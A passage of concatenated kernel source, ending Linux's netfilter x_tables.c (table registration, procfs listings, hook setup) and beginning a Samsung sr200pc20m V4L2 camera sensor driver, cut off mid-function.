PAGE_SIZE) i->jumpstack = vzalloc(size); else i->jumpstack = kzalloc(size, GFP_KERNEL); if (i->jumpstack == NULL) return -ENOMEM; i->stacksize *= xt_jumpstack_multiplier; size = sizeof(void *) * i->stacksize; for_each_possible_cpu(cpu) { if (size > PAGE_SIZE) i->jumpstack[cpu] = vmalloc_node(size, cpu_to_node(cpu)); else i->jumpstack[cpu] = kmalloc_node(size, GFP_KERNEL, cpu_to_node(cpu)); if (i->jumpstack[cpu] == NULL) /* * Freeing will be done later on by the callers. The * chain is: xt_replace_table -> __do_replace -> * do_replace -> xt_free_table_info. */ return -ENOMEM; } return 0; } struct xt_table_info * xt_replace_table(struct xt_table *table, unsigned int num_counters, struct xt_table_info *newinfo, int *error) { struct xt_table_info *private; int ret; ret = xt_jumpstack_alloc(newinfo); if (ret < 0) { *error = ret; return NULL; } /* Do the substitution. */ local_bh_disable(); private = table->private; /* Check inside lock: is the old number correct? */ if (num_counters != private->number) { pr_debug("num_counters != table->private->number (%u/%u)\n", num_counters, private->number); local_bh_enable(); *error = -EAGAIN; return NULL; } newinfo->initial_entries = private->initial_entries; /* * Ensure contents of newinfo are visible before assigning to * private. */ smp_wmb(); table->private = newinfo; /* * Even though table entries have now been swapped, other CPU's * may still be using the old entries. This is okay, because * resynchronization happens because of the locking done * during the get_counters() routine. */ local_bh_enable(); #ifdef CONFIG_AUDIT if (audit_enabled) { struct audit_buffer *ab; ab = audit_log_start(current->audit_context, GFP_KERNEL, AUDIT_NETFILTER_CFG); if (ab) { audit_log_format(ab, "table=%s family=%u entries=%u", table->name, table->af, private->number); audit_log_end(ab); } } #endif return private; } EXPORT_SYMBOL_GPL(xt_replace_table); struct xt_table *xt_register_table(struct net *net, const struct xt_table *input_table, struct xt_table_info *bootstrap, struct xt_table_info *newinfo) { int ret; struct xt_table_info *private; struct xt_table *t, *table; /* Don't add one object to multiple lists. */ table = kmemdup(input_table, sizeof(struct xt_table), GFP_KERNEL); if (!table) { ret = -ENOMEM; goto out; } mutex_lock(&xt[table->af].mutex); /* Don't autoload: we'd eat our tail... */ list_for_each_entry(t, &net->xt.tables[table->af], list) { if (strcmp(t->name, table->name) == 0) { ret = -EEXIST; goto unlock; } } /* Simplifies replace_table code. */ table->private = bootstrap; if (!xt_replace_table(table, 0, newinfo, &ret)) goto unlock; private = table->private; pr_debug("table->private->number = %u\n", private->number); /* save number of initial entries */ private->initial_entries = private->number; list_add(&table->list, &net->xt.tables[table->af]); mutex_unlock(&xt[table->af].mutex); return table; unlock: mutex_unlock(&xt[table->af].mutex); kfree(table); out: return ERR_PTR(ret); } EXPORT_SYMBOL_GPL(xt_register_table); void *xt_unregister_table(struct xt_table *table) { struct xt_table_info *private; mutex_lock(&xt[table->af].mutex); private = table->private; list_del(&table->list); mutex_unlock(&xt[table->af].mutex); kfree(table); return private; } EXPORT_SYMBOL_GPL(xt_unregister_table); #ifdef CONFIG_PROC_FS struct xt_names_priv { struct seq_net_private p; u_int8_t af; }; static void *xt_table_seq_start(struct seq_file *seq, loff_t *pos) { struct xt_names_priv *priv = seq->private; struct net *net = seq_file_net(seq); u_int8_t af = priv->af; mutex_lock(&xt[af].mutex); return seq_list_start(&net->xt.tables[af], *pos); } static void *xt_table_seq_next(struct seq_file *seq, void *v, loff_t *pos) { struct xt_names_priv *priv = seq->private; struct net *net = seq_file_net(seq); u_int8_t af = priv->af; return seq_list_next(v, &net->xt.tables[af], pos); } static void xt_table_seq_stop(struct seq_file *seq, void *v) { struct xt_names_priv *priv = seq->private; u_int8_t af = priv->af; mutex_unlock(&xt[af].mutex); } static int xt_table_seq_show(struct seq_file *seq, void *v) { struct xt_table *table = list_entry(v, struct xt_table, list); if (strlen(table->name)) { seq_printf(seq, "%s\n", table->name); return seq_has_overflowed(seq); } else return 0; } static const struct seq_operations xt_table_seq_ops = { .start = xt_table_seq_start, .next = xt_table_seq_next, .stop = xt_table_seq_stop, .show = xt_table_seq_show, }; static int xt_table_open(struct inode *inode, struct file *file) { int ret; struct xt_names_priv *priv; ret = seq_open_net(inode, file, &xt_table_seq_ops, sizeof(struct xt_names_priv)); if (!ret) { priv = ((struct seq_file *)file->private_data)->private; priv->af = (unsigned long)PDE_DATA(inode); } return ret; } static const struct file_operations xt_table_ops = { .owner = THIS_MODULE, .open = xt_table_open, .read = seq_read, .llseek = seq_lseek, .release = seq_release_net, }; /* * Traverse state for ip{,6}_{tables,matches} for helping crossing * the multi-AF mutexes. */ struct nf_mttg_trav { struct list_head *head, *curr; uint8_t class, nfproto; }; enum { MTTG_TRAV_INIT, MTTG_TRAV_NFP_UNSPEC, MTTG_TRAV_NFP_SPEC, MTTG_TRAV_DONE, }; static void *xt_mttg_seq_next(struct seq_file *seq, void *v, loff_t *ppos, bool is_target) { static const uint8_t next_class[] = { [MTTG_TRAV_NFP_UNSPEC] = MTTG_TRAV_NFP_SPEC, [MTTG_TRAV_NFP_SPEC] = MTTG_TRAV_DONE, }; struct nf_mttg_trav *trav = seq->private; switch (trav->class) { case MTTG_TRAV_INIT: trav->class = MTTG_TRAV_NFP_UNSPEC; mutex_lock(&xt[NFPROTO_UNSPEC].mutex); trav->head = trav->curr = is_target ? &xt[NFPROTO_UNSPEC].target : &xt[NFPROTO_UNSPEC].match; break; case MTTG_TRAV_NFP_UNSPEC: trav->curr = trav->curr->next; if (trav->curr != trav->head) break; mutex_unlock(&xt[NFPROTO_UNSPEC].mutex); mutex_lock(&xt[trav->nfproto].mutex); trav->head = trav->curr = is_target ? &xt[trav->nfproto].target : &xt[trav->nfproto].match; trav->class = next_class[trav->class]; break; case MTTG_TRAV_NFP_SPEC: trav->curr = trav->curr->next; if (trav->curr != trav->head) break; /* fallthru, _stop will unlock */ default: return NULL; } if (ppos != NULL) ++*ppos; return trav; } static void *xt_mttg_seq_start(struct seq_file *seq, loff_t *pos, bool is_target) { struct nf_mttg_trav *trav = seq->private; unsigned int j; trav->class = MTTG_TRAV_INIT; for (j = 0; j < *pos; ++j) if (xt_mttg_seq_next(seq, NULL, NULL, is_target) == NULL) return NULL; return trav; } static void xt_mttg_seq_stop(struct seq_file *seq, void *v) { struct nf_mttg_trav *trav = seq->private; switch (trav->class) { case MTTG_TRAV_NFP_UNSPEC: mutex_unlock(&xt[NFPROTO_UNSPEC].mutex); break; case MTTG_TRAV_NFP_SPEC: mutex_unlock(&xt[trav->nfproto].mutex); break; } } static void *xt_match_seq_start(struct seq_file *seq, loff_t *pos) { return xt_mttg_seq_start(seq, pos, false); } static void *xt_match_seq_next(struct seq_file *seq, void *v, loff_t *ppos) { return xt_mttg_seq_next(seq, v, ppos, false); } static int xt_match_seq_show(struct seq_file *seq, void *v) { const struct nf_mttg_trav *trav = seq->private; const struct xt_match *match; switch (trav->class) { case MTTG_TRAV_NFP_UNSPEC: case MTTG_TRAV_NFP_SPEC: if (trav->curr == trav->head) return 0; match = list_entry(trav->curr, struct xt_match, list); if (*match->name == '\0') return 0; seq_printf(seq, "%s\n", match->name); return seq_has_overflowed(seq); } return 0; } static const struct seq_operations xt_match_seq_ops = { .start = xt_match_seq_start, .next = xt_match_seq_next, .stop = xt_mttg_seq_stop, .show = xt_match_seq_show, }; static int xt_match_open(struct inode *inode, struct file *file) { struct nf_mttg_trav *trav; trav = __seq_open_private(file, &xt_match_seq_ops, sizeof(*trav)); if (!trav) return -ENOMEM; trav->nfproto = (unsigned long)PDE_DATA(inode); return 0; } static const struct file_operations xt_match_ops = { .owner = THIS_MODULE, .open = xt_match_open, .read = seq_read, .llseek = seq_lseek, .release = seq_release_private, }; static void *xt_target_seq_start(struct seq_file *seq, loff_t *pos) { return xt_mttg_seq_start(seq, pos, true); } static void *xt_target_seq_next(struct seq_file *seq, void *v, loff_t *ppos) { return xt_mttg_seq_next(seq, v, ppos, true); } static int xt_target_seq_show(struct seq_file *seq, void *v) { const struct nf_mttg_trav *trav = seq->private; const struct xt_target *target; switch (trav->class) { case MTTG_TRAV_NFP_UNSPEC: case MTTG_TRAV_NFP_SPEC: if (trav->curr == trav->head) return 0; target = list_entry(trav->curr, struct xt_target, list); if (*target->name == '\0') return 0; seq_printf(seq, "%s\n", target->name); return seq_has_overflowed(seq); } return 0; } static const struct seq_operations xt_target_seq_ops = { .start = xt_target_seq_start, .next = xt_target_seq_next, .stop = xt_mttg_seq_stop, .show = xt_target_seq_show, }; static int xt_target_open(struct inode *inode, struct file *file) { struct nf_mttg_trav *trav; trav = __seq_open_private(file, &xt_target_seq_ops, sizeof(*trav)); if (!trav) return -ENOMEM; trav->nfproto = (unsigned long)PDE_DATA(inode); return 0; } static const struct file_operations xt_target_ops = { .owner = THIS_MODULE, .open = xt_target_open, .read = seq_read, .llseek = seq_lseek, .release = seq_release_private, }; #define FORMAT_TABLES "_tables_names" #define FORMAT_MATCHES "_tables_matches" #define FORMAT_TARGETS "_tables_targets" #endif /* CONFIG_PROC_FS */ /** * xt_hook_link - set up hooks for a new table * @table: table with metadata needed to set up hooks * @fn: Hook function * * This function will take care of creating and registering the necessary * Netfilter hooks for XT tables. */ struct nf_hook_ops *xt_hook_link(const struct xt_table *table, nf_hookfn *fn) { unsigned int hook_mask = table->valid_hooks; uint8_t i, num_hooks = hweight32(hook_mask); uint8_t hooknum; struct nf_hook_ops *ops; int ret; ops = kmalloc(sizeof(*ops) * num_hooks, GFP_KERNEL); if (ops == NULL) return ERR_PTR(-ENOMEM); for (i = 0, hooknum = 0; i < num_hooks && hook_mask != 0; hook_mask >>= 1, ++hooknum) { if (!(hook_mask & 1)) continue; ops[i].hook = fn; ops[i].owner = table->me; ops[i].pf = table->af; ops[i].hooknum = hooknum; ops[i].priority = table->priority; ++i; } ret = nf_register_hooks(ops, num_hooks); if (ret < 0) { kfree(ops); return ERR_PTR(ret); } return ops; } EXPORT_SYMBOL_GPL(xt_hook_link); /** * xt_hook_unlink - remove hooks for a table * @ops: nf_hook_ops array as returned by nf_hook_link * @hook_mask: the very same mask that was passed to nf_hook_link */ void xt_hook_unlink(const struct xt_table *table, struct nf_hook_ops *ops) { nf_unregister_hooks(ops, hweight32(table->valid_hooks)); kfree(ops); } EXPORT_SYMBOL_GPL(xt_hook_unlink); int xt_proto_init(struct net *net, u_int8_t af) { #ifdef CONFIG_PROC_FS char buf[XT_FUNCTION_MAXNAMELEN]; struct proc_dir_entry *proc; #endif if (af >= ARRAY_SIZE(xt_prefix)) return -EINVAL; #ifdef CONFIG_PROC_FS strlcpy(buf, xt_prefix[af], sizeof(buf)); strlcat(buf, FORMAT_TABLES, sizeof(buf)); proc = proc_create_data(buf, 0440, net->proc_net, &xt_table_ops, (void *)(unsigned long)af); if (!proc) goto out; strlcpy(buf, xt_prefix[af], sizeof(buf)); strlcat(buf, FORMAT_MATCHES, sizeof(buf)); proc = proc_create_data(buf, 0440, net->proc_net, &xt_match_ops, (void *)(unsigned long)af); if (!proc) goto out_remove_tables; strlcpy(buf, xt_prefix[af], sizeof(buf)); strlcat(buf, FORMAT_TARGETS, sizeof(buf)); proc = proc_create_data(buf, 0440, net->proc_net, &xt_target_ops, (void *)(unsigned long)af); if (!proc) goto out_remove_matches; #endif return 0; #ifdef CONFIG_PROC_FS out_remove_matches: strlcpy(buf, xt_prefix[af], sizeof(buf)); strlcat(buf, FORMAT_MATCHES, sizeof(buf)); remove_proc_entry(buf, net->proc_net); out_remove_tables: strlcpy(buf, xt_prefix[af], sizeof(buf)); strlcat(buf, FORMAT_TABLES, sizeof(buf)); remove_proc_entry(buf, net->proc_net); out: return -1; #endif } EXPORT_SYMBOL_GPL(xt_proto_init); void xt_proto_fini(struct net *net, u_int8_t af) { #ifdef CONFIG_PROC_FS char buf[XT_FUNCTION_MAXNAMELEN]; strlcpy(buf, xt_prefix[af], sizeof(buf)); strlcat(buf, FORMAT_TABLES, sizeof(buf)); remove_proc_entry(buf, net->proc_net); strlcpy(buf, xt_prefix[af], sizeof(buf)); strlcat(buf, FORMAT_TARGETS, sizeof(buf)); remove_proc_entry(buf, net->proc_net); strlcpy(buf, xt_prefix[af], sizeof(buf)); strlcat(buf, FORMAT_MATCHES, sizeof(buf)); remove_proc_entry(buf, net->proc_net); #endif /*CONFIG_PROC_FS*/ } EXPORT_SYMBOL_GPL(xt_proto_fini); static int __net_init xt_net_init(struct net *net) { int i; for (i = 0; i < NFPROTO_NUMPROTO; i++) INIT_LIST_HEAD(&net->xt.tables[i]); return 0; } static struct pernet_operations xt_net_ops = { .init = xt_net_init, }; static int __init xt_init(void) { unsigned int i; int rv; for_each_possible_cpu(i) { seqcount_init(&per_cpu(xt_recseq, i)); } xt = kmalloc(sizeof(struct xt_af) * NFPROTO_NUMPROTO, GFP_KERNEL); if (!xt) return -ENOMEM; for (i = 0; i < NFPROTO_NUMPROTO; i++) { mutex_init(&xt[i].mutex); #ifdef CONFIG_COMPAT mutex_init(&xt[i].compat_mutex); xt[i].compat_tab = NULL; #endif INIT_LIST_HEAD(&xt[i].target); INIT_LIST_HEAD(&xt[i].match); } rv = register_pernet_subsys(&xt_net_ops); if (rv < 0) kfree(xt); return rv; } static void __exit xt_fini(void) { unregister_pernet_subsys(&xt_net_ops); kfree(xt); } module_init(xt_init); module_exit(xt_fini);
remarkableno/linux
net/netfilter/x_tables.c
C
gpl-2.0
40,573
/*********************************************************************** * Driver for sr200pc20m (5MP Camera) from SAMSUNG SYSTEM LSI * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. ***********************************************************************/ #include <linux/i2c.h> #include <linux/delay.h> #include <linux/version.h> #include <linux/vmalloc.h> #include <linux/completion.h> #include <media/v4l2-device.h> #include <media/v4l2-subdev.h> #include <linux/videodev2.h> #include <media/v4l2-chip-ident.h> #include <media/soc_camera.h> #include <linux/videodev2_brcm.h> #include "camdrv_ss.h" #include "camdrv_ss_sr200pc20m.h" #define SR200PC20M_NAME "sr200pc20m" #define SENSOR_ID 2 #define SENSOR_JPEG_SNAPSHOT_MEMSIZE 0x4b0000 // 4915200 = 2560*1920 //0x33F000 //3403776 //2216 * 1536 #define SENSOR_PREVIEW_WIDTH 640 // 1024 #define SENSOR_PREVIEW_HEIGHT 480 // 768 #define AF_OUTER_WINDOW_WIDTH 320 #define AF_OUTER_WINDOW_HEIGHT 266 #define AF_INNER_WINDOW_WIDTH 143 #define AF_INNER_WINDOW_HEIGHT 143 #define MAX_BUFFER (3072) #define SR200PC20M_DEFAULT_PIX_FMT V4L2_PIX_FMT_UYVY /* YUV422 */ #define SR200PC20M_DEFAULT_MBUS_PIX_FMT V4L2_MBUS_FMT_UYVY8_2X8 #define FORMAT_FLAGS_COMPRESSED 0x3 #define DEFUALT_MCLK 26000000 #define SR200PC20M_REGISTER_SIZE 2 #define SR200PC20M_DELAY_DURATION 0xFF #if defined(CONFIG_MACH_RHEA_SS_CORIPLUS) #define EXIF_SOFTWARE "" #define EXIF_MAKE "Samsung" #define EXIF_MODEL "GT-S5301" #else #define EXIF_SOFTWARE "" #define EXIF_MAKE "Samsung" #define EXIF_MODEL "GT-B5330" #endif static DEFINE_MUTEX(af_cancel_op); extern inline struct camdrv_ss_state *to_state(struct v4l2_subdev *sd); extern int camdrv_ss_i2c_set_config_register(struct i2c_client *client, regs_t reg_buffer[], int num_of_regs, char *name); extern int camdrv_ss_set_preview_size(struct v4l2_subdev *sd); extern int camdrv_ss_set_dataline_onoff(struct v4l2_subdev *sd, int onoff); static int init=true; //#define __JPEG_CAPTURE__ 1 //denis_temp ; yuv capture extern int camera_antibanding_get(); //add anti-banding code static const struct camdrv_ss_framesize sr200pc20m_supported_preview_framesize_list[] = { //{ PREVIEW_SIZE_QCIF, 176, 144 }, //{ PREVIEW_SIZE_QVGA, 320, 240 }, //{ PREVIEW_SIZE_CIF, 352, 288 }, { PREVIEW_SIZE_VGA, 640, 480 }, //{ PREVIEW_SIZE_D1, 720, 480 }, //{ PREVIEW_SIZE_1MP, 1280, 1024 }, //{ PREVIEW_SIZE_W1MP, 1600,960}, { PREVIEW_SIZE_2MP, 1600, 1200 }, }; static const struct camdrv_ss_framesize sr200pc20m_supported_capture_framesize_list[] = { { CAPTURE_SIZE_VGA, 640, 480 }, //{ CAPTURE_SIZE_1MP, 1280, 960 }, { CAPTURE_SIZE_2MP, 1600, 1200 }, }; const static struct v4l2_fmtdesc sr200pc20m_fmts[] = { { .index = 0, .type = V4L2_BUF_TYPE_VIDEO_CAPTURE, .flags = 0, .description = "UYVY", .pixelformat = V4L2_MBUS_FMT_UYVY8_2X8, }, #ifdef __JPEG_CAPTURE__ { .index = 1, .type = V4L2_BUF_TYPE_VIDEO_CAPTURE, .flags = FORMAT_FLAGS_COMPRESSED, .description = "JPEG + Postview", .pixelformat = V4L2_MBUS_FMT_JPEG_1X8, }, #endif }; static const struct v4l2_queryctrl sr200pc20m_controls[] = { { .id = V4L2_CID_CAMERA_FLASH_MODE, .type = V4L2_CTRL_TYPE_INTEGER, .name = "Flash", .minimum = FLASH_MODE_OFF, .maximum = (1 << FLASH_MODE_OFF), .step = 1, .default_value = FLASH_MODE_OFF, }, { .id = V4L2_CID_CAMERA_BRIGHTNESS, .type = V4L2_CTRL_TYPE_INTEGER, .name = "Brightness", .minimum = EV_MINUS_4, .maximum = EV_PLUS_4, .step = 1, .default_value = EV_DEFAULT, }, { .id = V4L2_CID_CAMERA_WHITE_BALANCE, .type = V4L2_CTRL_TYPE_INTEGER, .name = "White Balance", .minimum = WHITE_BALANCE_AUTO , .maximum = (1 << WHITE_BALANCE_AUTO | 1 << WHITE_BALANCE_DAYLIGHT/*WHITE_BALANCE_SUNNY*/ | 1 << WHITE_BALANCE_CLOUDY | 1 << WHITE_BALANCE_INCANDESCENT/*WHITE_BALANCE_TUNGSTEN*/ | 1 << WHITE_BALANCE_FLUORESCENT ), .step = 1, .default_value = WHITE_BALANCE_AUTO, }, /* remove zoom setting here to use AP zoom feture { .id = V4L2_CID_CAMERA_ZOOM, .type = V4L2_CTRL_TYPE_INTEGER, .name = "Zoom", .minimum = ZOOM_LEVEL_0, .maximum = ZOOM_LEVEL_8, .step = 1, .default_value = ZOOM_LEVEL_0, }, */ { .id = V4L2_CID_CAMERA_EFFECT, .type = V4L2_CTRL_TYPE_INTEGER, .name = "Color Effects", .minimum = IMAGE_EFFECT_NONE, .maximum = (1 << IMAGE_EFFECT_NONE | 1 << IMAGE_EFFECT_MONO/*IMAGE_EFFECT_BNW*/ | 1 << IMAGE_EFFECT_SEPIA | 1 << IMAGE_EFFECT_NEGATIVE), /* this should be replace by querymenu */ .step = 1, .default_value = IMAGE_EFFECT_NONE, }, /* { .id = V4L2_CID_CAMERA_ISO, .type = V4L2_CTRL_TYPE_INTEGER, .name = "ISO", .minimum = ISO_AUTO , .maximum = (1 << ISO_AUTO | 1 << ISO_50 | 1 << ISO_100 | 1 << ISO_200 | 1 << ISO_400 | 1 << ISO_800 | 1 << ISO_1200 | 1 << ISO_1600 | 1 << ISO_2400 | 1 << ISO_3200 | 1 << ISO_SPORTS | 1 << ISO_NIGHT | 1 << ISO_MOVIE), .step = 1, .default_value = ISO_AUTO, }, */ { .id = V4L2_CID_CAMERA_METERING, .type = V4L2_CTRL_TYPE_INTEGER, .name = "Metering", .minimum = METERING_MATRIX, .maximum = (1 << METERING_MATRIX | 1 << METERING_CENTER | 1 << METERING_SPOT), .step = 1, .default_value = METERING_CENTER, }, { .id = V4L2_CID_CAMERA_CONTRAST, .type = V4L2_CTRL_TYPE_INTEGER, .name = "Contrast", .minimum = CONTRAST_MINUS_2, .maximum = CONTRAST_PLUS_2, .step = 1, .default_value = CONTRAST_DEFAULT, }, { .id = V4L2_CID_CAMERA_SATURATION, .type = V4L2_CTRL_TYPE_INTEGER, .name = "Saturation", .minimum = SATURATION_MINUS_2, .maximum = SATURATION_PLUS_2, .step = 1, .default_value = SATURATION_DEFAULT, }, { .id = V4L2_CID_CAMERA_SHARPNESS, .type = V4L2_CTRL_TYPE_INTEGER, .name = "Sharpness", .minimum = SHARPNESS_MINUS_2, .maximum = SHARPNESS_PLUS_2, .step = 1, .default_value = SHARPNESS_DEFAULT, }, { .id = V4L2_CID_CAMERA_WDR, .type = V4L2_CTRL_TYPE_INTEGER, .name = "WDR", .minimum = WDR_OFF, .maximum = WDR_ON, .step = 1, .default_value = WDR_OFF, }, /* { .id = V4L2_CID_CAMERA_FACE_DETECTION, .type = V4L2_CTRL_TYPE_INTEGER, .name = "Face Detection", .minimum = FACE_DETECTION_OFF, .maximum = FACE_DETECTION_ON, .step = 1, .default_value = FACE_DETECTION_OFF, }, */ { .id = V4L2_CID_CAMERA_FOCUS_MODE, .type = V4L2_CTRL_TYPE_INTEGER, .name = "Focus", .minimum = FOCUS_MODE_INFINITY, .maximum = (1 << FOCUS_MODE_INFINITY), .step = 1, .default_value = FOCUS_MODE_INFINITY, }, { .id = V4L2_CID_CAM_JPEG_QUALITY, .type = V4L2_CTRL_TYPE_INTEGER, .name = "JPEG Quality", .minimum = 0, .maximum = 100, .step = 1, .default_value = 100, }, { .id = V4L2_CID_CAMERA_SCENE_MODE, .type = V4L2_CTRL_TYPE_INTEGER, .name = "Scene Mode", .minimum = SCENE_MODE_NONE, .maximum = (1 << SCENE_MODE_NONE | 1 << SCENE_MODE_NIGHTSHOT | 1 << SCENE_MODE_LANDSCAPE | 1 << SCENE_MODE_PARTY_INDOOR | 1 << SCENE_MODE_SUNSET | 1 << SCENE_MODE_CANDLE_LIGHT | /*querymenu?*/ 1 << SCENE_MODE_BACK_LIGHT | 1<< SCENE_MODE_DUSK_DAWN | 1 << SCENE_MODE_FALL_COLOR), .step = 1, .default_value = SCENE_MODE_NONE, }, { .id = V4L2_CID_CAMERA_SET_AUTO_FOCUS, .type = V4L2_CTRL_TYPE_INTEGER, .name = "Set AutoFocus", .minimum = AUTO_FOCUS_OFF, .maximum = AUTO_FOCUS_OFF, //aska modified .step = 1, .default_value = AUTO_FOCUS_OFF, }, { .id = V4L2_CID_CAMERA_TOUCH_AF_AREA, .type = V4L2_CTRL_TYPE_INTEGER, .name = "Touchfocus areas", .minimum = 0, .maximum = 0, //aska .step = 1, .default_value = 0, //aska }, { .id = V4L2_CID_CAMERA_FRAME_RATE, .type = V4L2_CTRL_TYPE_INTEGER, .name = "Framerate control", .minimum = FRAME_RATE_15, .maximum = (1 << FRAME_RATE_15), .step = 1, .default_value = FRAME_RATE_15, }, { .id = V4L2_CID_CAMERA_CAPTURE, .type = V4L2_CTRL_TYPE_BOOLEAN, .name = "Capture", .minimum = 0, .maximum = 0, .step = 0, .default_value = 0, }, { .id = V4L2_CID_CAM_PREVIEW_ONOFF, .type = V4L2_CTRL_TYPE_INTEGER, .name = "Preview control", .minimum = 0, .maximum = 1, .step = 1, .default_value = 0, }, { .id = V4L2_CID_CAMERA_CHECK_DATALINE, .type = V4L2_CTRL_TYPE_INTEGER, .name = "Check Dataline", .minimum = 0, .maximum = 1, .step = 1, .default_value = 0, }, { .id = V4L2_CID_CAMERA_CHECK_DATALINE_STOP, .type = V4L2_CTRL_TYPE_BOOLEAN, .name = "Check Dataline Stop", .minimum = 0, .maximum = 0, .step = 0, .default_value = 0, }, { .id = V4L2_CID_CAMERA_RETURN_FOCUS, .type = V4L2_CTRL_TYPE_BOOLEAN, .name = "Return Focus", .minimum = 0, .maximum = 0, .step = 0, .default_value = 0, }, { .id = V4L2_CID_CAMERA_ANTI_BANDING, .type = V4L2_CTRL_TYPE_BOOLEAN, .name = "Anti Banding", .minimum = ANTI_BANDING_AUTO, .maximum = (1 << ANTI_BANDING_AUTO | 1 << ANTI_BANDING_50HZ | 1 << ANTI_BANDING_60HZ | 1 << ANTI_BANDING_OFF), .step = 1, .default_value = ANTI_BANDING_AUTO, }, { .id = V4L2_CID_CAMERA_VT_MODE, .type = V4L2_CTRL_TYPE_INTEGER, .name = "Vtmode", .minimum = CAM_VT_MODE_NONE, .maximum = CAM_VT_MODE_VOIP, .step = 1, .default_value = CAM_VT_MODE_3G, }, { .id = V4L2_CID_CAMERA_SENSOR_MODE, .type = V4L2_CTRL_TYPE_INTEGER, .name = "Cam mode", .minimum = SENSOR_CAMERA, .maximum = SENSOR_MOVIE, .step = 1, .default_value = SENSOR_CAMERA, }, }; static int camdrv_ss_sr200pc20m_enum_frameintervals(struct v4l2_subdev *sd,struct v4l2_frmivalenum *fival) { int err = 0; int size,i; if (fival->index >= 1) return -EINVAL; CAM_INFO_PRINTK(" %s : check w = %d h = %d \n",__func__,fival->width,fival->height); fival->type = V4L2_FRMIVAL_TYPE_DISCRETE; for(i = 0; i < ARRAY_SIZE(sr200pc20m_supported_preview_framesize_list); i++) { if((sr200pc20m_supported_preview_framesize_list[i].width == fival->width) && (sr200pc20m_supported_preview_framesize_list[i].height == fival->height)) { size = sr200pc20m_supported_preview_framesize_list[i].index; break; } } if(i == ARRAY_SIZE(sr200pc20m_supported_preview_framesize_list)) { CAM_ERROR_PRINTK("%s unsupported width = %d and height = %d \n",__func__,fival->width,fival->height); return -EINVAL; } else CAM_INFO_PRINTK(" %s : found i = %d\n",__func__,i); switch (size) { case PREVIEW_SIZE_5MP: case PREVIEW_SIZE_3MP: case PREVIEW_SIZE_2MP: case PREVIEW_SIZE_W1MP: case PREVIEW_SIZE_1MP: fival->discrete.numerator = 2; fival->discrete.denominator = 15; break; default: fival->discrete.numerator = 1; fival->discrete.denominator = 30; break; } return err; } static long camdrv_ss_sr200pc20m_ss_ioctl(struct v4l2_subdev *sd, unsigned int cmd, void *arg) { // struct i2c_client *client = v4l2_get_subdevdata(sd); // struct camdrv_ss_state *state = // container_of(sd, struct camdrv_ss_states, sd); int ret = 0; switch(cmd) { case VIDIOC_THUMB_SUPPORTED: { int *p = arg; #ifdef JPEG_THUMB_ACTIVE *p =1; #else *p = 0; /* NO */ #endif break; } case VIDIOC_THUMB_G_FMT: { struct v4l2_format *p = arg; struct v4l2_pix_format *pix = &p->fmt.pix; p->type = V4L2_BUF_TYPE_VIDEO_CAPTURE; /* fixed thumbnail resolution and format */ pix->width = 640; pix->height = 480; pix->bytesperline = 640 * 2; pix->sizeimage = 640 * 480 * 2; pix->field = V4L2_FIELD_ANY; pix->colorspace = V4L2_COLORSPACE_JPEG, pix->pixelformat = V4L2_PIX_FMT_UYVY; break; } case VIDIOC_THUMB_S_FMT: { // struct v4l2_format *p = arg; /* for now we don't support setting thumbnail fmt and res */ ret = -EINVAL; break; } case VIDIOC_JPEG_G_PACKET_INFO: { struct v4l2_jpeg_packet_info *p = arg; #ifdef JPEG_THUMB_ACTIVE p->padded = 4; p->packet_size= 0x27c; #else p->padded = 0; p->packet_size = 0x810; #endif break; } case VIDIOC_SENSOR_G_OPTICAL_INFO: { struct v4l2_sensor_optical_info *p= arg; p->hor_angle.numerator = 512; p->hor_angle.denominator = 10; p->ver_angle.numerator = 394; p->ver_angle.denominator = 10; p->focus_distance[0] = 10; p->focus_distance[1] = 120; p->focus_distance[2] = -1; p->focal_length.numerator = 270; p->focal_length.denominator = 100; break; } default: ret = -ENOIOCTLCMD; break; } return ret; } int camdrv_ss_sr200pc20m_set_preview_start(struct v4l2_subdev *sd) { struct i2c_client *client = v4l2_get_subdevdata(sd); struct camdrv_ss_state *state = to_state(sd); int err = 0; CAM_INFO_PRINTK( "%s :\n", __func__); if (!state->pix.width || !state->pix.height) { CAM_ERROR_PRINTK( "%s : width or height is NULL!!!\n",__func__); return -EINVAL; } if (state->mode_switch == PICTURE_CAPTURE_TO_CAMERA_PREVIEW_RETURN) { err = camdrv_ss_i2c_set_config_register(client, sr200pc20m_preview_camera_regs, ARRAY_SIZE(sr200pc20m_preview_camera_regs), "preview_camera_regs"); if (err < 0) { CAM_ERROR_PRINTK( "%s :sr200pc20m_preview_camera_regs IS FAILED\n",__func__); return -EIO; } } if (state->mode_switch == INIT_DONE_TO_CAMERA_PREVIEW) { #if 0 err = camdrv_ss_i2c_set_config_register(client, sr200pc20m_preview_camera_regs, ARRAY_SIZE(sr200pc20m_preview_camera_regs), "preview_camera_regs"); if (err < 0) { CAM_ERROR_PRINTK( "%s :sr200pc20m_preview_camera_regs IS FAILED\n",__func__); return -EIO; } #endif } if(state->mode_switch == CAMERA_PREVIEW_TO_CAMCORDER_PREVIEW) { err = camdrv_ss_i2c_set_config_register(client, sr200pc20m_fps_15_regs, ARRAY_SIZE(sr200pc20m_fps_15_regs), "fps_15_regs"); if (err < 0) { CAM_ERROR_PRINTK( "%s : sr200pc20m_fps_15_regs is FAILED !!\n", __func__); return -EIO; } } else if(state->mode_switch == INIT_DONE_TO_CAMCORDER_PREVIEW) { /*err = camdrv_ss_i2c_set_config_register(client, sr200pc20m_init_regs, ARRAY_SIZE(sr200pc20m_init_regs), "init_regs"); if (err < 0) { CAM_ERROR_PRINTK( "%s :sr200pc20m_init_regs IS FAILED\n",__func__); return -EIO; }*/ err = camdrv_ss_i2c_set_config_register(client, sr200pc20m_fps_15_regs, ARRAY_SIZE(sr200pc20m_fps_15_regs), "fps_15_regs"); if (err < 0) { CAM_ERROR_PRINTK( "%s : sr200pc20m_fps_15_regs is FAILED !!\n", __func__); return -EIO; } } else if(state->mode_switch == CAMCORDER_PREVIEW_TO_CAMERA_PREVIEW) { err = camdrv_ss_i2c_set_config_register(client, sr200pc20m_init_regs, ARRAY_SIZE(sr200pc20m_init_regs), "init_regs"); if (err < 0) { CAM_ERROR_PRINTK( "%s :sr200pc20m_init_regs IS FAILED\n",__func__); return -EIO; } } err = camdrv_ss_set_preview_size(sd); if (err < 0) { CAM_ERROR_PRINTK( "%s : camdrv_ss_set_preview_size is FAILED !!\n", __func__); return -EIO; } state->camera_flash_fire = 0; state->camera_af_flash_checked = 0; if (state->check_dataline) { /* Output Test Pattern */ err = 